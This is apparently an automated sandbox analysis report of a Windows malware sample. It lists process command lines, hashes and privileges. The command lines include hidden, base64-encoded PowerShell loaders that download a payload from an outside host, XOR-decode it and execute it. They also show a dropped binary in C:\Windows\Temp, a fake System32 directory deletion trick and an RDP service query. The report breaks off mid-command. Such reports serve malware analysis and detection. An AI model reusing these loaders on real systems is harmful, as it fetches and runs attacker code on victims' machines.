BAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
Imagebase:	0x7ff6dc180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:43:58
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:43:58
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Imagebase:	0x7ff743750000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:43:58
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA
Imagebase:	0x7ff743750000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:43:58
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:44:01
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline"
Imagebase:	0x7ff6fee20000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:44:01
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEB.tmp" "c:\Users\user\AppData\Local\Temp\st5qs1wr\CSC2C64D26780D497590A0A819DD9C4D5F.TMP"
Imagebase:	0x7ff72e7a0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:44:08
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Imagebase:	0x7ff743750000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:44:08
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:44:10
Start date:	11/12/2024
Path:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx" /o ""
Imagebase:	0x7ff6bb290000
File size:	1'635'104 bytes
MD5 hash:	E7F3B8EA1B06F46176FC5C35307727D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	06:44:11
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff6dc180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:44:11
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:44:11
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff743750000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:44:11
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:44:13
Start date:	11/12/2024
Path:	C:\Windows\System32\sppsvc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sppsvc.exe
Imagebase:	0x7ff6571f0000
File size:	4'629'328 bytes
MD5 hash:	30C7EF47B57367CC546173BB4BB2BB04
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:44:16
Start date:	11/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7b83f0000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	06:44:43
Start date:	11/12/2024
Path:	C:\Windows\Temp\svczHost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Imagebase:	0x7ff646d30000
File size:	8'357'376 bytes
MD5 hash:	9298A0077E8353244A38CAEFE43AF4CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	06:44:43
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ab830000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	06:44:43
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Imagebase:	0x7ff6dc180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:44:44
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff6dc180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:44:44
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAg